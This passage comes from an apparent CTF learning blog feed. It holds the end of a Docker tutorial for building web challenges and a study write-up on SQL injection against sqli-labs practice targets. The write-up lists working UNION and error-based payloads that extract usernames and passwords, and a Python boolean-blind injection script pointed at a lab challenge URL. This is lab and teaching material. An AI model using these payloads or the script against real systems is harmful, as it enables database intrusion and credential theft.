volume ls</td></tr><tr><td>docker-compose up</td><td>启动多容器应用（从 docker-compose.yml 文件）</td><td>docker-compose up</td></tr><tr><td>docker-compose down</td><td>停止并删除由 docker-compose 启动的容器、网络等</td><td>docker-compose down</td></tr><tr><td>docker info</td><td>显示 Docker 系统的详细信息</td><td>docker info</td></tr><tr><td>docker version</td><td>显示 Docker 客户端和守护进程的版本信息</td><td>docker version</td></tr><tr><td>docker stats</td><td>显示容器的实时资源使用情况</td><td>docker stats</td></tr><tr><td>docker login</td><td>登录 Docker 仓库</td><td>docker login</td></tr><tr><td>docker logout</td><td>登出 Docker 仓库</td><td>docker logout</td></tr></tbody></table><h3 id="如何让科学上网生效-配置镜像源"><a href="#如何让科学上网生效-配置镜像源" class="headerlink" title="如何让科学上网生效 &#x2F; 配置镜像源"></a>如何让科学上网生效 &#x2F; 配置镜像源</h3><ol><li>配置科学上网 这里略 走魔法代理即可</li><li>配置国内镜像源 这里在Docker Engine里面修改一下 换成国内镜像源 这里因为买服务器给了一个比较稳定的源 （打脸了 这个其实也不太稳定 最后还是走代理了）</li></ol><h3 id="Dockerfile"><a href="#Dockerfile" class="headerlink" title="Dockerfile"></a>Dockerfile</h3><ol><li>Dockerfile 是一个文本文件，包含了一系列用于构建 Docker 镜像的指令 Docker 引擎通过读取这些指令来自动化构建镜像</li><li>Dockerfile常用指令</li></ol><table><thead><tr><th>指令</th><th>说明</th></tr></thead><tbody><tr><td>FROM</td><td>设置构建镜像时使用的基础镜像</td></tr><tr><td>MAINTAINER</td><td>镜像的创建者</td></tr><tr><td>RUN</td><td>构建镜像时用于执行后面跟着的命令行命令（在 docker build 时执行）</td></tr><tr><td>CMD</td><td>类似于 RUN 指令，启动容器时用于执行后面跟着的命令行命令（在 docker run 时执行）</td></tr><tr><td>ENTRYPOINT</td><td>启动容器时会将其后面的命令当作参数，结合CMD 指令的命令一起执行</td></tr><tr><td>COPY</td><td>构建镜像时复制文件或者目录到容器里指定路径</td></tr><tr><td>ADD</td><td>功能与COPY指令类似，不同点在执行 &lt;源文件&gt; 为 tar 压缩文件的话，压缩格式为 gzip, bzip2 以及 xz 的情况下，ADD 指令会自动复制并解压到 &lt;目标路径&gt;，在不解压的前提下，无法复制 tar 压缩文件（推荐使用 COPY指令）</td></tr><tr><td>ENV</td><td>设置环境变量，定义了环境变量，那么在后续的指令中，就可以使用这个环境变量</td></tr><tr><td>ARG</td><td>构建参数，与 ENV 作用一致。不过作用域不一样。ARG 设置的环境变量仅对 Dockerfile 内有效，也就是说只有 docker build 的过程中有效，构建好的镜像内不存在此环境变量</td></tr><tr><td>VOLUME</td><td>定义匿名数据卷。在启动容器时忘记挂载数据卷，会自动挂载到匿名卷</td></tr><tr><td>EXPOSE</td><td>声明端口</td></tr><tr><td>WORKDIR</td><td>指定工作目录。用 WORKDIR 指定的工作目录，会在构建镜像的每一层中都存在。（WORKDIR 指定的工作目录，必须是提前创建好的）</td></tr><tr><td>USER</td><td>用于指定执行后续命令的用户和用户组，这边只是切换后续命令执行的用户（用户和用户组必须提前已经存在）</td></tr><tr><td>LABEL</td><td>用来给镜像添加一些元数据（metadata），以键值对的形式</td></tr><tr><td>ONBUILD</td><td>用于延迟构建命令的执行。简单的说，就是 Dockerfile 里用 ONBUILD 指定的命令，在本次构建镜像的过程中不会执行（假设镜像为 test-build）。当有新的 Dockerfile 使用了之前构建的镜像 FROM test-build ，这是执行新镜像的 Dockerfile 构建时候，会执行 test-build 的 Dockerfile 里的 ONBUILD 指定的命令</td></tr><tr><td></td><td></td></tr><tr><td>下面是自己编写的一个最简单的php后门题的Dockerfile</td><td></td></tr></tbody></table><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">FROM php:7.4-apache</span><br><span class="line">WORKDIR /var/www/html/</span><br><span class="line">COPY . .</span><br><span class="line">RUN echo &quot;flag&#123;you_are_a_docker_master&#125;&quot; &gt; /flag</span><br><span class="line">EXPOSE 80</span><br></pre></td></tr></table></figure><h3 id="dockerignore"><a href="#dockerignore" class="headerlink" title=".dockerignore"></a>.dockerignore</h3><p>当我们在 Dockerfile 中执行 <code>COPY . /var/www/html/</code> 时，会把宿主机当前文件夹里的<strong>所有文件</strong>都塞进容器的 Web 目录 但我如果把自己的exp或者是什么源码之类的一起放上去 选手能直接访问到<br><strong>.dockerignore</strong>作用就在这里 在 <code>Dockerfile</code> 同级目录下创建 <code>.dockerignore</code> 文件 在里面编写好需要忽略的文件 例如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"># .dockerignore 示例（注释用 # 开头） </span><br><span class="line"># 忽略 node_modules 目录（整目录） </span><br><span class="line">node_modules/ </span><br><span class="line"># 忽略 logs 目录 </span><br><span class="line">logs/ </span><br><span class="line"># 忽略 .git 版本控制目录 </span><br><span class="line">.git/ </span><br><span class="line"># 忽略单个文件 </span><br><span class="line">.env </span><br><span class="line">temp.txt </span><br><span class="line"># 忽略所有 .log 后缀的文件 </span><br><span class="line">*.log </span><br><span class="line"># 忽略所有以 temp 开头的文件/目录 </span><br><span class="line">temp* </span><br><span class="line"># 例外：如果想忽略所有 .txt 但保留 important.txt </span><br><span class="line">*.txt </span><br><span class="line">!important.txt</span><br></pre></td></tr></table></figure><p>这里还可以用到匹配 但是出题貌似用的少 现在能力还做不了那么复杂的题</p><h3 id="docker-compose-yaml"><a href="#docker-compose-yaml" class="headerlink" title="docker-compose.yaml"></a>docker-compose.yaml</h3><p>Dockerfile只可以用来构建单个镜像，在docker-compose.yml文件中，可以定义多个服务，每个服务可以包含一系列配置选项，例如镜像名称、容器端口、环境变量等。<br>比如在一道题目里面 有前端 后端 加上一个服务之类的 需要手动配置它们相互通信的虚拟网络 还需要run好多次 如果配置文件写好之后 只需要 <code>docker compose up -d</code> 即可全部部署好<br>例如一个最简单的<br><img src="/images/91.png"><br>builid构建镜像<br>ports去映射<br>假设有服务的那种 就比如是sql 文件结构如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">├── docker-compose.yaml</span><br><span class="line">├── web/</span><br><span class="line">│   ├── Dockerfile</span><br><span class="line">│   └── index.php</span><br><span class="line">└── db/</span><br><span class="line">    └── init.sql</span><br></pre></td></tr></table></figure><p>文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">services:</span><br><span class="line">  # 服务 1：前端 Web</span><br><span class="line">  frontend:</span><br><span class="line">    # 注意！这里的 context 不是 . 了，而是 ./web，因为 Dockerfile 在 web 文件夹里</span><br><span class="line">    build: </span><br><span class="line">      context: ./web</span><br><span class="line">      dockerfile: Dockerfile</span><br><span class="line">    container_name: sqli_web</span><br><span class="line">    ports:</span><br><span class="line">      - &quot;8080:80&quot;</span><br><span class="line">    # 【重点】：依赖关系。保证数据库先启动，Web 后启动，防止连接失败</span><br><span class="line">    depends_on:</span><br><span class="line">      - backend_db</span><br><span class="line"></span><br><span class="line">  # 服务 2：后端 MySQL</span><br><span class="line">  backend_db:</span><br><span class="line">    # 数据库不需要我们自己写 Dockerfile 现场 build，直接用官方做好的镜像！</span><br><span class="line">    image: mysql:5.7</span><br><span class="line">    container_name: sqli_db</span><br><span class="line">    # 环境变量：官方 MySQL 镜像允许我们通过环境变量直接设置密码和库名</span><br><span class="line">    environment:</span><br><span class="line">      MYSQL_ROOT_PASSWORD: &quot;toor&quot;</span><br><span class="line">      MYSQL_DATABASE: &quot;ctf_db&quot;</span><br><span class="line">    # 端口映射：这里不写 ports</span><br><span class="line">    因为只有 frontend 容器需要连它。我们在宿主机上不需要连它。</span><br><span class="line">    # Compose 默认会让 frontend 和 backend_db 在同一个局域网内，前端只需连接 &quot;backend_db:3306&quot; 即可。</span><br></pre></td></tr></table></figure><h3 id="记第一次自己出题"><a href="#记第一次自己出题" class="headerlink" title="记第一次自己出题"></a>记第一次自己出题</h3><p>出的题和寒假学习到的一个知识点相关 结合了sqlite的ATTTACH跨库查询 堆叠注入<br>目录如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">sqlite/</span><br><span class="line">├── Dockerfile</span><br><span class="line">├── docker-compose.yaml</span><br><span class="line">└── src/</span><br><span class="line">    ├── index.php    </span><br><span class="line">    └── update.php  </span><br></pre></td></tr></table></figure><ol><li>对dockerfile的要求 run一个sqlite 创目录 然后run两个数据库 一个是正常业务 一个是flag 对正常业务有读写 对flag数据库设权为444 还有就是Web 目录和 Flag 目录不可写 防止直接加上马RCE了</li><li>对前端 这里比较重要的是ai优化了非预期解 输出都经过 <code>htmlspecialchars()</code> 净化</li><li>对后端核心漏洞也就是直接拼接字符串 但是需要此库无任何有价值数据 需要跨库查询<br><img src="/images/92.png"><br>自己打打啦 具体文件就不放了</li></ol>]]>
    </content>
    <id>http://47.109.24.42/2026/02/27/docker/</id>
    <link href="http://47.109.24.42/2026/02/27/docker/"/>
    <published>2026-02-27T13:00:00.000Z</published>
    <summary>
      <![CDATA[<h3 id="Docker是什么"><a href="#Docker是什么" class="headerlink" title="Docker是什么"></a>Docker是什么</h3><p>在没有Docker之前 如果你要在电脑上跑一个别人写的 CTF Web 题目 要在自]]>
    </summary>
    <title>docker</title>
    <updated>2026-02-27T13:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<p>  搭完了个人博客 做ivory学长下发的任务 重新做sql靶场 加上补充知识点 sql是最开始学的 刚开始学的时候就只是问ai 基本语法都不是很了解就在写 这里相当于重新开始吧</p><h2 id="基础语法"><a href="#基础语法" class="headerlink" title="基础语法"></a>基础语法</h2><p>也就是最基础的技巧吧</p><ul><li><h4 id="order-by-ORDER-BY测列数是SQL-注入中最基础的技巧"><a href="#order-by-ORDER-BY测列数是SQL-注入中最基础的技巧" class="headerlink" title="order by ORDER BY测列数是SQL 注入中最基础的技巧"></a>order by <code>ORDER BY</code>测列数是<strong>SQL 注入</strong>中最基础的技巧</h4></li></ul><ol><li>核心原理<br><code>ORDER BY</code>的语法支持两种排序方式：</li></ol><ul><li>按<strong>列名 &#x2F; 别名</strong>排序（如<code>ORDER BY username</code>）；</li><li>按<strong>结果集的列索引</strong>排序（如<code>ORDER BY 1</code>表示按结果集第 1 列排序，<code>ORDER BY 2</code>按第 2 列，以此类推）。</li><li>如果<code>n ≤ 结果集的列数</code>：语句执行正常（无报错）；</li><li>如果<code>n &gt; 结果集的列数</code>：数据库会抛出 “未知列” 类错误（如 MySQL：<code>Unknown column &#39;3&#39; in &#39;order clause&#39;</code>）</li></ul><ol start="2"><li>核心用途 为后续<code>UNION SELECT</code>注入铺路：<code>UNION</code>要求前后两个查询的<strong>列数完全一致</strong>、<strong>数据类型兼容</strong>，必须先确定原查询的列数，才能构造有效的<code>UNION</code>语句（如原查询列数为 2，则构造<code>UNION SELECT 1,2 --</code>）。</li></ol><ul><li><h4 id="元数据查询：查库-表-列（核心中的核心）"><a href="#元数据查询：查库-表-列（核心中的核心）" class="headerlink" title="元数据查询：查库 &#x2F; 表 &#x2F; 列（核心中的核心）"></a>元数据查询：查库 &#x2F; 表 &#x2F; 列（核心中的核心）</h4></li></ul><p><img src="/images/sql/IMG-20260206164012428.png"></p><ul><li><h4 id="数据聚合-拼接"><a href="#数据聚合-拼接" class="headerlink" title="数据聚合&#x2F;拼接"></a>数据聚合&#x2F;拼接</h4></li></ul><p>GROUP_CONCAT() 多行字符串拼接为一行（默认逗号分隔）CONCAT() 多列字符串拼接为一行（单行内拼接）</p><ul><li><h4 id="高频关键字"><a href="#高频关键字" class="headerlink" title="高频关键字"></a>高频关键字</h4></li></ul><p>UNION SELECT 联合查询（注入核心）<br>LIMIT 限制结果行数（精准取数据）后面两个数字意味着从第几行取几列 如<code>SELECT password FROM users LIMIT 0,1;</code>（取第 1 行密码）<br>COUNT() 统计行数（判断表中数据量）<code>SELECT COUNT(*) FROM users;</code>（查用户表总记录数）</p><p>（后面的布尔盲注 时间盲注 还有报错 绕过那些会在做题后面记录）</p><h2 id="wp"><a href="#wp" class="headerlink" title="wp"></a>wp</h2><ol><li>我这里打的ctf+上面的靶场 没有重新去配环境了 现成的 ‘闭合 测出三列 然后-1让他不查询 或者是在后面加个错误条件 and 1&#x3D;2 union select之类的</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=-1&#x27; union select 1,2,database()--+</span><br></pre></td></tr></table></figure><p>得到库名（当前会话正在使用的）<br>这样子把库名查完吧（所有数据库）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">union select group_concat(schema_name)from information_schema.schemata--+</span><br></pre></td></tr></table></figure><p>继续查表名</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">union  select 1,2,group_concat(table_name)from information_schema.tables where table_schema=&#x27;security&#x27;--+</span><br></pre></td></tr></table></figure><p>列名</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">union  select 1,2,group_concat(column_name) from </span><br><span class="line">information_schema.columns where table_name=&#x27;users&#x27;--+</span><br></pre></td></tr></table></figure><p>数据</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">union select 1,(select group_concat(username) from users ),(select group_concat(password) from users)--+</span><br></pre></td></tr></table></figure><ol start="2"><li>无闭合 直接注入</li><li>‘)闭合</li><li>“)闭合</li><li>布尔盲注 也就是依靠回显来判断输入的语句正确与否 就用acsii码来判断出字符 这里测出来是‘闭合 然后确定语句 开始写脚本 <img src="/images/sql/IMG-20260206164012478.png"><br>用遍历来做 把最开始做task的那个脚本交给ai优化了</li></ol><p>先把报错注入的知识点写了 因为最开始打这里没有写脚本 是拿报错注入来做的 这里先写了</p><ul><li><h4 id="报错注入"><a href="#报错注入" class="headerlink" title="报错注入"></a><strong>报错注入</strong></h4></li><li>构造恶意 SQL 语句，强制数据库执行时触发语法 &#x2F; 逻辑错误，且错误信息中会 “夹带” 攻击者需要的敏感数据（库名、表名、数据等）；利用数据库开启 “错误回显” 的特性（页面显示原生错误提示），直接从错误信息中提取敏感数据，无需像盲注那样逐字符猜解。</li><li>前提条件 数据库开启错误回显（这一点没有的话直接放弃）</li><li>核心逻辑 数据库的报错信息有个特点：<strong>当执行非法操作时，错误提示会明确指出 “哪里非法”，并展示非法内容</strong>。</li><li>最常用的报错方式 （最主流：）<code>extractvalue()</code>&#x2F;<code>updatexml()</code>是 MySQL 处理 XML 的函数，要求第二个参数必须是<strong>合法的 XPath 语法</strong>（如<code>/a/b</code>）；若传入非法 XPath（如包含<code>~</code>&#x2F;<code>@</code>等特殊字符），数据库会抛出 “XPATH syntax error” 错误，且错误信息中会显示非法的参数内容 —— 攻击者将敏感数据拼接进非法参数，就能从错误中提取信息。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">updatexml(1,concat(0x7e,(select database()),0x7e),1)--+</span><br></pre></td></tr></table></figure><ul><li><code>0x7e</code>：十六进制的<code>~</code>（XPath 不支持<code>~</code>，用于触发报错，同时分隔敏感数据和错误前缀）；</li><li><code>concat(0x7e, (select database()), 0x7e)</code>：拼接<code>~ + 数据库名 + ~</code>（如<code>~security~</code>）；</li><li><code>updatexml</code>接收非法 XPath 参数，触发报错：<code>XPATH syntax error: &#39;~security~&#39;</code>；</li><li>页面显示该错误，攻击者直接拿到数据库名<code>security</code>。<br>这里重新学报错注入的时候 重新学到了一个新的方式<br>基于聚合函数冲突的报错（count+rand+group by）<br>试在了第五关里面 真可以 研究一下原理 不依赖extractvalue&#x2F;updatexml这两个函数</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1&#x27; union select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+</span><br></pre></td></tr></table></figure><p>rand() 函数：随机数生成（核心中的核心）<br>基础用法：rand() 生成 0<del>1 之间的随机浮点数（如 0.123、0.987）；<br>带种子用法：rand(0)（种子固定为 0）—— 生成的随机数序列是固定的、可重复的（而非真正随机）。<br>例：select rand(0), rand(0)*2 from dual; 每次执行结果都是 0.15522042769493574、0.3104408553898715；<br>floor(rand(0)*2)：floor() 是向下取整，rand(0)*2 生成 0</del>2 之间的浮点数，取整后只能是 0 或 1（这是触发重复的关键）。<br>group by + count(<em>) 的执行逻辑<br>当执行 select count(</em>), 字段A from 表 group by 字段A 时，MySQL 会做以下操作：<br>创建一张临时表，用于存储「字段 A 的值 → 计数」的映射（临时表的主键是 字段A，主键唯一）；<br>逐行读取原表的数据，计算 字段A 的值；<br>检查临时表中是否已有该 字段A 的值：<br>有 → 计数 + 1；<br>无 → 插入新行，计数设为 1；<br>最终返回临时表的统计结果。<br>rand() 在 group by 中的 “多次执行” 特性<br>MySQL 对 group by 中的 rand() 有个特殊处理：在临时表中检查 &#x2F; 插入时，会两次计算 rand() 的值（一次用于检查主键是否存在，一次用于插入新行）。如果 rand() 是固定种子（如 rand(0)），两次计算的结果可能不一致，这是触发冲突的核心<br> Duplicate entry 错误<br>MySQL 临时表的主键是唯一的，若尝试插入<strong>重复的主键值</strong>，会触发 <code>Duplicate entry &#39;xxx&#39; for key &#39;group_key&#39;</code> 错误，且错误信息中会明确显示 “重复的主键值 xxx”—— 这就是敏感数据的泄露入口。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+</span><br></pre></td></tr></table></figure><p>看到库</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=&#x27;security&#x27; limit 3,1),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+</span><br></pre></td></tr></table></figure><p>看到表</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; union select 1,count(*),concat(0x7e,(select column_name from </span><br><span class="line">information_schema.columns where table_name=&#x27;users&#x27; limit 1,1),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+</span><br></pre></td></tr></table></figure><p>看到列</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; union select 1,count(*),concat(0x7e,(select concat(username,&#x27;:&#x27;,password) from `users` limit 2,1),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+</span><br></pre></td></tr></table></figure><p>最后是数据<br>用上面的updatexml路径报错再做一遍</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; and updatexml(1,concat(0x7e,(select  schema_name from information_schema.schemata limit 0,1),0x7e),1)--+</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+</span><br></pre></td></tr></table></figure><p>库</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=&#x27;security&#x27; limit 0,1),0x7e),1)--+</span><br></pre></td></tr></table></figure><p>表</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=&#x27;users&#x27; limit 0,1),0x7e),1)--+</span><br></pre></td></tr></table></figure><p>列</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; and updatexml(1,concat(0x7e,(select concat(username,&#x27;:&#x27;,password) from `users` limit 0,1),0x7e),1)--+</span><br></pre></td></tr></table></figure><p>数据<br>extractvalue()使用方法类似 上面有写<br>只不过是 EXTRACTVALUE(xml_doc, xpath_expr)查 XML 里的某个内容 UPDATEXML(xml_doc, xpath_expr, new_value) 改 XML 里的某个内容</p><ul><li><h4 id="布尔盲注"><a href="#布尔盲注" class="headerlink" title="布尔盲注"></a>布尔盲注</h4></li></ul><ol start="5"><li>继续接上前面第五关的内容 贴上改过后的脚本</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line">import requests  </span><br><span class="line">flag=&quot;You are in...........&quot;  </span><br><span class="line">a_url=&quot;http://80-d3ec6b44-9a8a-45e9-b74a-f92c243b95af.challenge.ctfplus.cn/Less-5/?id=&quot;  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">def is_true(payload):  </span><br><span class="line">    try:  </span><br><span class="line">        # 加超时，避免卡住；关闭重定向，防止干扰  </span><br><span class="line">        resp = requests.get(f&quot;&#123;a_url&#125;&#123;payload&#125;&quot;, timeout=5, allow_redirects=False)  </span><br><span class="line">        return flag in resp.text  </span><br><span class="line">    except Exception as e:  </span><br><span class="line">        # 打印异常，方便调试  </span><br><span class="line">        print(f&quot;请求出错: &#123;e&#125;&quot;)  </span><br><span class="line">        return False  </span><br><span class="line">  </span><br><span class="line"># 获取目标字符串的长度（如数据库名长度、表名长度）  </span><br><span class="line">def get_length(name):  </span><br><span class="line">    # 循环变量名改为len_num，避免和函数名重名  </span><br><span class="line">    for len_num in range(1, 100):  </span><br><span class="line">        payload = f&quot;1&#x27; and length((&#123;name&#125;))=&#123;len_num&#125;--+&quot;  </span><br><span class="line">        if is_true(payload):  </span><br><span class="line">            print(f&quot;[&#123;name&#125;] 长度: &#123;len_num&#125;&quot;)  </span><br><span class="line">            return len_num  </span><br><span class="line">    return 0  </span><br><span class="line">  </span><br><span class="line"># 逐字符爆破目标字符串（核心盲注逻辑）  </span><br><span class="line">def get_string(name, len_num):  </span><br><span class="line">    result = &quot;&quot;  </span><br><span class="line">    print(f&quot;开始爆破 [&#123;name&#125;]...&quot;)  </span><br><span class="line">    for i in range(1, len_num + 1):  </span><br><span class="line">        # ASCII范围32-126（可打印字符）  </span><br><span class="line">        for asc in range(32, 127):  </span><br><span class="line">            payload = f&quot;1&#x27; and ascii(substr((&#123;name&#125;),&#123;i&#125;,1))=&#123;asc&#125;--+&quot;  </span><br><span class="line">            if is_true(payload):  </span><br><span class="line">                result += chr(asc)  </span><br><span class="line">                # 实时打印进度，方便调试  </span><br><span class="line">                print(f&quot;\r当前进度: &#123;result&#125;&quot;, end=&quot;&quot;)  </span><br><span class="line">                break  </span><br><span class="line">    print()  # 换行  </span><br><span class="line">    return result  </span><br><span class="line">  </span><br><span class="line"># 主程序入口（必须加，否则函数定义和执行代码会混在一起）  </span><br><span class="line">if __name__ == &quot;__main__&quot;:  </span><br><span class="line">    # ========== 1. 爆破数据库名 ==========    db_len = get_length(&quot;database()&quot;)  </span><br><span class="line">    if db_len == 0:  </span><br><span class="line">        print(&quot;数据库名长度爆破失败！&quot;)  </span><br><span class="line">        exit()  </span><br><span class="line">    db_name = get_string(&quot;database()&quot;, db_len)  </span><br><span class="line">    print(f&quot;✅ 数据库名: &#123;db_name&#125;&quot;)  </span><br><span class="line">  </span><br><span class="line">    # ========== 2. 爆破当前库的所有表名 ==========    tables_sql = f&quot;select group_concat(table_name) from information_schema.tables where table_schema=&#x27;&#123;db_name&#125;&#x27;&quot;  </span><br><span class="line">    tables_len = get_length(tables_sql)  </span><br><span class="line">    if tables_len == 0:  </span><br><span class="line">        print(&quot;表名长度爆破失败！&quot;)  </span><br><span class="line">        exit()  </span><br><span class="line">    tables = get_string(tables_sql, tables_len)  </span><br><span class="line">    print(f&quot;✅ 所有表名: &#123;tables&#125;&quot;)  </span><br><span class="line">    # 提取目标表（优先users，无则取第一个表）  </span><br><span class="line">    table_list = tables.split(&#x27;,&#x27;)  # 拆分表名字符串为列表  </span><br><span class="line">    target_table = &quot;users&quot; if &quot;users&quot; in table_list else table_list[0]  </span><br><span class="line">    print(f&quot;🔍 选定目标表: &#123;target_table&#125;&quot;)  </span><br><span class="line">  </span><br><span class="line">    # ========== 3. 爆破目标表的所有列名 ==========    cols_sql = f&quot;select group_concat(column_name) from information_schema.columns where table_schema=&#x27;&#123;db_name&#125;&#x27; and table_name=&#x27;&#123;target_table&#125;&#x27;&quot;  </span><br><span class="line">    cols_len = get_length(cols_sql)  </span><br><span class="line">    if cols_len == 0:  </span><br><span class="line">        print(&quot;列名长度爆破失败！&quot;)  </span><br><span class="line">        exit()  </span><br><span class="line">    cols = get_string(cols_sql, cols_len)  </span><br><span class="line">    print(f&quot;✅ 目标表列名: &#123;cols&#125;&quot;)  </span><br><span class="line">    # 提取目标列（优先username/password，无则取前两列）  </span><br><span class="line">    col_list = cols.split(&#x27;,&#x27;)  </span><br><span class="line">    target_cols = [c for c in [&quot;username&quot;, &quot;password&quot;] if c in col_list]  </span><br><span class="line">    if not target_cols:  # 无则取前两列  </span><br><span class="line">        target_cols = col_list[:2]  </span><br><span class="line">    print(f&quot;🔍 选定目标列: &#123;target_cols&#125;&quot;)  </span><br><span class="line">  </span><br><span class="line">    # ========== 4. 爆破目标列的数据 ==========    for col in target_cols:  </span><br><span class="line">        data_sql = f&quot;select group_concat(&#123;col&#125;) from &#123;target_table&#125;&quot;  </span><br><span class="line">        data_len = get_length(data_sql)  </span><br><span class="line">        if data_len == 0:  </span><br><span class="line">            print(f&quot;&#123;col&#125; 数据长度爆破失败！&quot;)  </span><br><span class="line">            continue  </span><br><span class="line">        data = get_string(data_sql, data_len)  </span><br><span class="line">        print(f&quot;✅ &#123;col&#125; 数据: &#123;data&#125;&quot;)</span><br></pre></td></tr></table></figure><ol start="6"><li>“闭合 改脚本</li><li>“)) 